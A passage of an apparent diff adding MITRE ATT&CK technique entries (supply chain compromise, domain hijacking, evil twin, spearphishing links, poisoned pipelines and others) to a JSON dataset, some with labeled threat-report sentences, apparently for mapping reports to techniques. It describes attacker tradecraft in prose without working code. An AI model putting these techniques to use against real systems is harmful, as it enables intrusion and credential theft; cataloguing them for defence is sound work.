compromising vulnerable versions of e-commerce platforms, hosting skimmer scripts on CDNs and cloud services, and using newly registered domains (NRDs) lexically close to any legitimate web service or specific e-commerce store to host malicious skimmer scripts." + }, + { + "id": "T1195", + "text": "ATT&CK technique: T1195 Supply Chain Compromise\nDescription: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\nTactics: initial access\nPlatforms: Linux, SaaS, Windows, macOS\nLabeled report example: Intel 471 found that actors possibly linked to North Korea found a way to manipulate the companies’ antivirus update server that allowed them to upload a remote access trojan (RAT) to the compromised ATM machines." + }, + { + "id": "T1584.001", + "text": "ATT&CK technique: T1584.001 Domains\nDescription: Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53). Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain. Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1484", + "text": "ATT&CK technique: T1484 Domain or Tenant Policy Modification\nDescription: Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation. Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants. With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: * modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources * changing configuration settings within the AD environment to implement a Rogue Domain Controller. * adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nTactics: defense impairment, privilege escalation\nPlatforms: Identity Provider, Windows" + }, + { + "id": "T1583.002", + "text": "ATT&CK technique: T1583.002 DNS Server\nDescription: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.007", + "text": "ATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1484.002", + "text": "ATT&CK technique: T1484.002 Trust Modification\nDescription: Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user. An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.\nTactics: defense impairment, privilege escalation\nPlatforms: Identity Provider, Windows" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1584.007", + "text": "ATT&CK technique: T1584.007 Serverless\nDescription: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1090.004", + "text": "ATT&CK technique: T1090.004 Domain Fronting\nDescription: Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.001", + "text": "ATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590.002", + "text": "ATT&CK technique: T1590.002 DNS\nDescription: Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services). Adversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.004", + "text": "ATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.002", + "text": "ATT&CK technique: T1584.002 DNS Server\nDescription: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1207", + "text": "ATT&CK technique: T1207 Rogue Domain Controller\nDescription: Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.\nTactics: defense impairment\nPlatforms: Windows" + }, + { + "id": "T1137.004", + "text": "ATT&CK technique: T1137.004 Outlook Home Page\nDescription: Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page. Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.\nTactics: persistence\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: 